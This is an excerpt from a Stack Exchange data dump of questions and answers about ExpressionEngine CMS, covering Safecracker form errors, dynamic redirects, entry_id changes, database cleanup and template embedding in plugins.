  <row Id="1917" PostTypeId="2" ParentId="1913" CreationDate="2012-12-19T21:15:55.000" Score="2" Body="&lt;p&gt;Other than using a subdomain, you could rename index.php to something else, and use that as the router. That'd complicate cleaning up your URLs, certainly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How big/complicated is the current site? Would it be easier to convert it all to EE than to try to work around integrating the two frameworks?&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2012-12-19T21:15:55.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1918" PostTypeId="1" CreationDate="2012-12-19T21:22:18.550" Score="1" ViewCount="1970" Body="&lt;p&gt;Hi guys I'm having trouble with a site I just took live. I had it running on MAMP without issues and now I'm getting errors regarding the headings_rte. This is the one that is most persistent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: include(): Cannot redeclare class headings_rte in /srv/www/domain.com/sys/expressionengine/modules/rte/models/rte_tool_model.php on line 155&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't find anything via Google or in the EllisLab forums.&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="55" LastEditDate="2012-12-20T03:02:52.440" LastActivityDate="2014-03-03T10:38:00.223" Title="Fatal error: include(): Cannot redeclare class headings_rte" Tags="|error|rte|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1919" PostTypeId="2" ParentId="1913" CreationDate="2012-12-19T21:25:39.657" Score="5" Body="&lt;p&gt;In addition to installing EE on a subdomain, it's also perfectly possible to install it in a subdirectory rather than at web root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just install it in a suitable directory with a name not used as a route in Cake, eg &lt;code&gt;/content/&lt;/code&gt; etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the advantage of keeping your domain consistent for end users, with fairly minimal mucking about, though you may need a few &lt;code&gt;.htaccess&lt;/code&gt; tweaks depending on if/how you are rewriting URLs to remove index.php.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-19T21:25:39.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1920" PostTypeId="1" CreationDate="2012-12-19T21:30:12.887" Score="4" ViewCount="352" Body="&lt;p&gt;I'm using safecracker and getting this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncaught ReferenceError: EE is not defined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when using safecracker. I tried this solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/197571/P15&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/forums/viewthread/197571/P15&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(moving jquery to the footer) and it didn't solve the error. I even loaded the safecracker form via ajax after the rest of the page had loaded, and it didn't solve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that if I view source, in the form action parameters there's a whole bunch of jquery UI stuff referenced - I'm not using jquery ui, and the form shouldn't need most of this stuff. On chrome, this worked properly without jquery ui, so I'm not sure what this is all about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?ACT=10&amp;amp;ui=core,widget,mouse,position,draggable,resizable,button,dialog&amp;amp;plugin=scrollable,scrollable.navigator,markitup,thickbox,toolbox.expose,overlay,tmpl&amp;amp;v=1355863708&amp;amp;use_live_url=y&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried including jquery ui but that didn't seem to make a difference. I've attached screenshots of the error - you can feel free to check this out to see what's going on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://goo.gl/zTxJA&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://goo.gl/zTxJA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but keep in mind I'm working on it so it may change. The four screenshots shown below are for two different errors - the first two are when the form is embedded in the template, and I am using my own jquery, and setting include_jquery=&quot;no&quot; - the second two are when I use my own jquery, but then load the form via ajax (thus ensuring that the form loads after jquery).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current ee tag for safecracker:  {exp:safecracker channel=&quot;diy_submissions&quot; return=&quot;site/diy_success&quot; include_jquery=&quot;no&quot; allow_comments=&quot;no&quot; datepicker=&quot;no&quot; logged_out_member_id=&quot;5&quot; preserve_checkboxes=&quot;no&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried removing all the actual form fields and the error still occurs, so I guess you could limit the error to the actual inclusion of safecracker alone, and not to any of the field types used within.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also put just the form into its own template, allowed it to include jquery, and it loads nothing at all (with no console errors). The source of the code is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Test Form&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;{exp:safecracker channel=&quot;diy_submissions&quot; return=&quot;site/diy_success&quot; include_jquery=&quot;yes&quot; allow_comments=&quot;no&quot; datepicker=&quot;no&quot; logged_out_member_id=&quot;5&quot; preserve_checkboxes=&quot;no&quot;}&#xA;&amp;lt;p class=&quot;prompt_text&quot;&amp;gt;&#xA;  Have a recipe, occasion or project idea that uses Carapelli? &amp;lt;br /&amp;gt;&#xA;  We'd love to showcase it in our gallery. &#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;content_detail_content&quot;&amp;gt;&#xA;  &amp;lt;nav class=&quot;subnav&quot;&amp;gt; &#xA;    &amp;lt;a class=&quot;subnav_link collect active&quot; data-ident=&quot;collect&quot; data-count=&quot;0&quot;&amp;gt;Collect&amp;lt;/a&amp;gt; &#xA;    &amp;lt;a class=&quot;subnav_link assemble&quot; data-ident=&quot;assemble&quot; data-count=&quot;1&quot;&amp;gt;Assemble&amp;lt;/a&amp;gt; &#xA;    &amp;lt;a class=&quot;subnav_link share lastitem&quot; data-ident=&quot;share&quot; data-count=&quot;2&quot;&amp;gt;Share&amp;lt;/a&amp;gt; &#xA;  &amp;lt;/nav&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;project_content_container&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;project_text_section collect active&quot;&amp;gt;&#xA;        &amp;lt;textarea name=&quot;submission_collect&quot; value=&quot;{submission_collect}&quot;&amp;gt;Enter ingredients or supplies needed.&amp;lt;/textarea&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;project_text_section assemble&quot;&amp;gt;&#xA;        &amp;lt;textarea name=&quot;submission_assemble&quot; value=&quot;{submission_assemble}&quot;&amp;gt;Enter project or recipe directions.&amp;lt;/textarea&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;project_text_section share&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          Perfect! Now give it a name, upload a photo of the finished &#xA;          product and submit your brilliant Carapelli idea! &#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;project_title share&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;title&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;title&quot; value=&quot;{title}&quot; id=&quot;title&quot; type=&quot;text&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;upload_button collect active&quot;&amp;gt;&#xA;        UPLOAD PHOTO &amp;lt;span class=&quot;choose&quot;&amp;gt;{field:submission_collect_file}&amp;lt;/span&amp;gt; &#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;upload_button assemble&quot;&amp;gt;&#xA;        UPLOAD PHOTO &amp;lt;span class=&quot;choose&quot;&amp;gt;{field:submission_assemble_file}&amp;lt;/span&amp;gt; &#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;upload_button share&quot;&amp;gt;&#xA;        UPLOAD PHOTO &amp;lt;span class=&quot;choose&quot;&amp;gt;{field:submission_share_file}&amp;lt;/span&amp;gt; &#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;next_button&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;next&quot;&amp;gt;NEXT STEP&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;submit_button&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;        &amp;lt;button name=&quot;submit&quot; class=&quot;ideas_submit&quot;&amp;gt;SUBMIT IDEA&amp;lt;br /&amp;gt;&#xA;        FOR APPROVAL&amp;lt;/button&amp;gt; &#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:safecracker}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x8tEC.png&quot; alt=&quot;console error when jquery is included in head and not included in EE safecracker tag&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZBT82.png&quot; alt=&quot;area where error occurs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s2EFB.png&quot; alt=&quot;if I load the form via ajax after jquery (my own jquery) loads - I get this error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W7oUQ.png&quot; alt=&quot;and it occurs here - at 370&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="461" LastEditorUserId="461" LastEditDate="2012-12-20T02:09:23.883" LastActivityDate="2014-04-22T08:38:53.117" Title="safecracker reference issue can't find variable EE" Tags="|safecracker|forms|jquery|saef|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1921" PostTypeId="2" ParentId="1912" CreationDate="2012-12-19T21:39:57.027" Score="3" Body="&lt;p&gt;So the first thing to note is that if you do this sort of thing you need to be &lt;strong&gt;really&lt;/strong&gt; careful about performance. You're not only running the templating engine 6 times (main template + 5 embeds), but also 6 loops of &lt;code&gt;{channel:entries}&lt;/code&gt; as well, which can be very expensive/intensive. Be sure to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;disable&lt;/code&gt;&lt;/a&gt; parameter aggressively as this can dramatically improve performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That proviso aside, if you do find you need to do nest &lt;code&gt;channel:entries&lt;/code&gt; tags like this, have you considered using one of the (recently released) &lt;a href=&quot;https://objectivehtml.com/entries&quot; rel=&quot;nofollow&quot;&gt;Entries&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/more-entries&quot; rel=&quot;nofollow&quot;&gt;More Entries&lt;/a&gt; plugins rather than an embed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;NB&lt;/strong&gt; neither of these are production releases just yet - Entries is in public beta and seems more mature (see comments) so may be the best choice right now.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would get around your stash issue, improve performance by not requiring additional passes of the template engine, and you can still use the &lt;code&gt;disable&lt;/code&gt; param as per &lt;code&gt;{channel:entries}&lt;/code&gt;. If you really only need access to the entry title and page_url in your nested loop, you may well be able to do a full on &lt;code&gt;disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;&lt;/code&gt; for maximum reduction in unnecessary queries.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-20T15:32:05.717" LastActivityDate="2012-12-20T15:32:05.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1922" PostTypeId="2" ParentId="1918" CreationDate="2012-12-19T22:47:21.180" Score="1" Body="&lt;p&gt;My first suggestion is to reupload all files to the server. You can start with all files under the /srv/www/domain.com/sys/expressionengine/modules/rte/ directory. Something could be missing or was corrupted on upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second suggestion is to make sure you are running the latest version of EE and addons. EL just released a new version so upgrading may solve your error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My third suggestion is to look at line 155 of that file to see what the code is doing. That might give you some hints. It's very possible the issue is related to your server environment since no one has reported the error anywhere. Here are links to other &quot;Fatal error: include(): Cannot redeclare class&quot; errors.. Not the same specific file errors but these might offer some clues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/5611219/fatal-error-cannot-redeclare-class-customer&quot;&gt;https://stackoverflow.com/questions/5611219/fatal-error-cannot-redeclare-class-customer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/708140/php-fatal-error-cannot-redeclare-class&quot;&gt;https://stackoverflow.com/questions/708140/php-fatal-error-cannot-redeclare-class&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/12222305/fatal-error-cannot-redeclare-class-net-ssh2-in-var-www-phpseclib-net-ssh2-php&quot;&gt;https://stackoverflow.com/questions/12222305/fatal-error-cannot-redeclare-class-net-ssh2-in-var-www-phpseclib-net-ssh2-php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-19T22:47:21.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1923" PostTypeId="2" ParentId="1804" CreationDate="2012-12-20T00:39:16.920" Score="3" Body="&lt;p&gt;I have finally had a chance to dive down into this issue and figure out what's wrong. Due to the way the activations work, the member will go in the Pending group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the default member group so once the member is activated, they go into a designated member group. From there they can edit their profile and group_id parameter will work. The group_id param just doesn't work when there is member activation in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a default member group go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Members &gt; Preferences &gt; Default Member Group Assigned to New Members&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-20T00:39:16.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1925" PostTypeId="2" ParentId="1889" CreationDate="2012-12-20T03:15:19.610" Score="6" Body="&lt;p&gt;Have you tried using the &lt;code&gt;{options:field_name}&lt;/code&gt; syntax, as &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#other-channel-fields&quot;&gt;demonstrated in the Safecracker docs&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;my_field_name[row_new_0][col_id_14]&quot;&amp;gt;&#xA;        {options:my_field_name}&#xA;                &amp;lt;option value=&quot;{option_value}&quot;&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;        {/options:my_field_name}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm just not sure it will work with a third-party add-on like PT Select.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-20T03:15:19.610" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1927" PostTypeId="2" ParentId="1364" CreationDate="2012-12-20T03:47:02.643" Score="3" Body="&lt;p&gt;It might also be worth mentioning that there are Redactor.js alternatives as well. RedactEE &lt;a href=&quot;http://dvt.ee/adLkbY9&quot; rel=&quot;nofollow&quot;&gt;http://dvt.ee/adLkbY9&lt;/a&gt; and Editor from DevDemon &lt;a href=&quot;http://www.devdemon.com/editor/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/editor/&lt;/a&gt; are both nice alternatives to a CKEditor based add-on. Both allow for custom plugin development as well. &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2012-12-20T03:47:02.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1928" PostTypeId="1" AcceptedAnswerId="1932" CreationDate="2012-12-20T04:56:26.697" Score="5" ViewCount="214" Body="&lt;p&gt;I know that there is a param for safecracker/safecracker registration form called return. You could define a static url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for a safecracker/safecracker registration form to redirect to a url based on some option inside the form itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not just talking about setting the url directly like(if even this is possible)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker return=&quot;[redirect_url]&quot;}&#xA;  ...&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_url&quot; value=&quot;redirect/to/something&quot;&amp;gt;&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am talking about more advanced stuff like(using pseudocode) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if dropdown value = 1 then redirect to X&#xA;else if dropdown value = 2 then redirect to Y&#xA;else redirect to Z &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="324" LastEditDate="2012-12-20T05:44:26.590" LastActivityDate="2012-12-20T05:59:58.830" Title="Dynamic Redirection for Safecracker/Safecracker Registration Forms" Tags="|safecracker|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1929" PostTypeId="1" AcceptedAnswerId="1930" CreationDate="2012-12-20T05:07:23.680" Score="3" ViewCount="115" Body="&lt;p&gt;Currently when you add a new HTML formatting button it simply outputs as the tag name as text within a box. I am looking to replace this text with an image much like the native HTML formatting button such as bold, strike-through, italics etc... Is there a way of doing this - the EE documentation simply states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The custom HTML buttons are powered by the jQuery library MarkItUp. Because of this, some powerful customization is possible in the “opening tag” field. If you wish to take advantage of this syntax, more information can be found on within the MarkItUp documentation, and particularly under the section on Magic Markup. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/default_html_buttons.html#advanced-customization&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/default_html_buttons.html#advanced-customization&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="408" LastActivityDate="2012-12-20T11:54:08.623" Title="Using an Image for HTML Formatting Button" Tags="|publish-layout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1930" PostTypeId="2" ParentId="1929" CreationDate="2012-12-20T05:20:06.827" Score="1" Body="&lt;p&gt;I haven't used this myself but it sort of seems this is just handled in the CSS by setting a background image. If you inspect the new tag code, is there a css class you can key off to style it in the CSS? Something like....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.html .markItUpButton1 a {&#xA;    background-image:url(images/h1.png);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-20T05:20:06.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1931" PostTypeId="2" ParentId="1928" CreationDate="2012-12-20T05:47:11.383" Score="1" Body="&lt;p&gt;You could try to use JS to override the form's hidden input fields. There should be one named &quot;return&quot;, so try to use JS to override what is already there. Obviously update the field use the change() event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not 100% sure this will work, but it's what I would try first. If not I will have to add it to the list of features to add in the next update.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-20T05:47:11.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1932" PostTypeId="2" ParentId="1928" CreationDate="2012-12-20T05:59:58.830" Score="3" Body="&lt;p&gt;This functionality isn't built in, but you could utilize the &lt;code&gt;ENTRY_ID&lt;/code&gt; constant inside the &lt;code&gt;return=&quot;templategroup/template/ENTRY_ID&quot;&lt;/code&gt; parameter to point to an intermediate template to do a dynamic redirect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, within that template, you can use a Channel Entries tag like  to load the new entry, where you could have a conditional to do redirects. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; entry=&quot;{segment_3}&quot;}&#xA;    {if some_field_in_safecracker_form == &quot;some value&quot;}&#xA;        {redirect=&quot;somewhere/over/the/rainbow&quot;}&#xA;    {if:else}&#xA;        {redirect=&quot;somewhere/else&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-20T05:59:58.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1933" PostTypeId="1" AcceptedAnswerId="1937" CreationDate="2012-12-20T06:42:26.817" Score="3" ViewCount="434" Body="&lt;p&gt;I recently inherited an EE site that the previous developer kind of put together while learning how to program. It works, and honestly for never having done it before he did a pretty good job of getting it up and running, but while he was doing that, he made lots of fields, left some data in them, deleted them, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't bother me &lt;em&gt;that&lt;/em&gt; much, but it got me wondering if there's a way to 'refresh' the database tables to get rid of entries that no longer have channels, field data that no longer has fields, etc...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there something going on automatically that is taking care of this for me?&lt;/p&gt;&#xA;" OwnerUserId="648" LastActivityDate="2012-12-20T15:19:52.293" Title="Is it possible to clean up the database tables?" Tags="|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1934" PostTypeId="2" ParentId="1918" CreationDate="2012-12-20T07:01:01.457" Score="1" Body="&lt;p&gt;Ok guys figured this out but don't know why it's happened in the first place but all I did was uninstall all modules and reinstalled and now there error does not pop up.&lt;/p&gt;&#xA;" OwnerUserId="491" LastActivityDate="2012-12-20T07:01:01.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1935" PostTypeId="1" AcceptedAnswerId="1936" CreationDate="2012-12-20T07:07:58.560" Score="2" ViewCount="222" Body="&lt;p&gt;We have an internal system for assigning three digit numbers to the various accounts where we accept donations. These are set in stone and cannot be changed. If we could match these three digit numbers to the entry_id that would make a several things better:&#xA;-url would have the account number and not a different number when donating&#xA;-carthrob uses the entry_id to send info to the gateway, but that is meaningless to us. If it matched our account numbers that would be very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can go in and muck around the database and change these, but is that asking for trouble? What happens if we have 300 entries and we've set one of these accounts with an entry ID of 301? Will EE skip 301 or create two 301s...or just crash in a blaze of white screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THe site will be live tomorrow or Friday. It is not very content heavy. Maybe 30 pages, 20 members right now (using Zoo Visitor so they are in a Channel),  and the 75 accounts stored in the CartThrob product channel. The entry ID count is nearly 300 with all the test orders we've placed to test the donate function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone do this and want to talk me off the ledge? Or is it safe to jump? &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2012-12-20T07:20:43.327" Title="Changing entry_id: possible, but asking for trouble?" Tags="|database|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1936" PostTypeId="2" ParentId="1935" CreationDate="2012-12-20T07:20:43.327" Score="4" Body="&lt;p&gt;That's very much asking for trouble. I recommend just adding a new field to the channel or to store the internal id. We do this for a number of clients who need information to correlate to some other database or system. You can create a field called: account_number and use that and it will store the data safely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you adjust the entry number manually, you have to adjust it everywhere, titles, data, category, member_id, etc. Don't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom fields are your friend.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-20T07:20:43.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1937" PostTypeId="2" ParentId="1933" CreationDate="2012-12-20T07:35:32.570" Score="2" Body="&lt;p&gt;I think the easiest way for deleting fields and data is to do so from within ExpressionEngine, since it will then go through the related tables and delete the fields and data within them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The starting point would be to find what's in use, what fields are being used on templates or for reports. I'm not certain if there's an easy way to do that. Obviously you can print a listing of all fields and channels, some will be visually easy to identify as not in use, but others may not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recall using a custom query once that listed fields by channel with some basic data, like number of entries in the field. Something like that could help. Obviously fields with a low number of records, could then be further examined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd say, once you've got your list of items to clean. (1) BACK UP YOUR DATABASE, (2) Go to the Admin area and use the delete field option. (3) Delete everything you need to, then (4) Optimize and Repair your database.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-20T07:35:32.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1938" PostTypeId="2" ParentId="1890" CreationDate="2012-12-20T09:27:00.513" Score="2" Body="&lt;p&gt;I've managed to get it working with the following function below, which gets called after the main bit of data is inserted for the channel entry. It simply builds the relationship and then adds the relationship value to the correct field in exp_channel_data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function add_cocktail_relationship($entry_id, $ccms_data) {&#xA;&#xA;    if (isset($ccms_data['tags']) &amp;amp;&amp;amp; !empty($ccms_data['tags'])) {&#xA;        // Loop through the tags and look for cocktails&#xA;        foreach($ccms_data['tags'] as $category) {&#xA;            if (preg_match('/COCKTAIL_/i', $category)) {&#xA;                $guid = preg_replace('/COCKTAIL_/i', '', $category);&#xA;&#xA;                // get the relationship field id for 'recipe'&#xA;                $field_id = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('field_id')-&amp;gt;get_where(&quot;exp_channel_fields&quot;, array('field_name' =&amp;gt; 'recipe'))-&amp;gt;row('field_id');&#xA;&#xA;                // Get the entryID for the corresponding CCMS GUID&#xA;                $rel_entry_id = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('entry_id')-&amp;gt;get_where(&quot;exp_ccms_content&quot;, array('guid' =&amp;gt; $guid))-&amp;gt;row('entry_id');&#xA;&#xA;                if ($rel_entry_id &amp;amp;&amp;amp; $entry_id &amp;amp;&amp;amp; $rel_entry_id) {&#xA;                    $reldata = array(&#xA;                        'type'          =&amp;gt; 'channel',&#xA;                        'parent_id'     =&amp;gt; $entry_id,&#xA;                        'child_id'      =&amp;gt; $rel_entry_id&#xA;                    );&#xA;&#xA;                    $relationship_id = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;compile_relationship($reldata, TRUE);&#xA;&#xA;                    $channel_update = array (&#xA;                        &quot;field_id_{$field_id}&quot; =&amp;gt; $relationship_id,&#xA;                        &quot;field_ft_{$field_id}&quot; =&amp;gt; &quot;none&quot;&#xA;                    );&#xA;&#xA;                    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('entry_id', $entry_id)-&amp;gt;update(&quot;exp_channel_data&quot;, $channel_update);&#xA;                }   &#xA;                return;&#xA;            }&#xA;        }&#xA;    }&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="641" LastActivityDate="2012-12-20T09:27:00.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1940" PostTypeId="1" AcceptedAnswerId="1945" CreationDate="2012-12-20T11:17:24.817" Score="3" ViewCount="266" Body="&lt;p&gt;In a plugin is it possible to output the equivalent of {embed=&quot;my_template&quot;} if a certain condition is met?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site index file is as follows at the moment, with php enabled and set to input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Define segment one variable&#xA;$seg1 = $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(1);&#xA;&#xA;// If this is the homepage, embed the homepage template&#xA;if($seg1 == &quot;&quot;) { ?&amp;gt;{embed=&quot;embeds/homepage&quot;}&amp;lt;?php &#xA;    } else {&#xA;&#xA;    // IF NOT HOMEPAGE, DO THIS...&#xA;    if(substr($seg1, 0, 11) == &quot;property-in&quot;) // if first 11 characters = 'property-in'&#xA;    {&#xA;        ?&amp;gt;{embed=&quot;embeds/property-in-town&quot; url_title=&quot;&amp;lt;?php $seg1;?&amp;gt;&quot;}&amp;lt;?php&#xA;    } else {&#xA;        ?&amp;gt;{embed=&quot;embeds/town-property&quot; url_title=&quot;&amp;lt;?php $seg1;?&amp;gt;&quot;}&amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I'd like to do is move this to a plugin and avoid having php turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2012-12-20T13:07:11.980" Title="How to 'embed' a template from within a plugin" Tags="|add-on-development|plugin|embeds|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
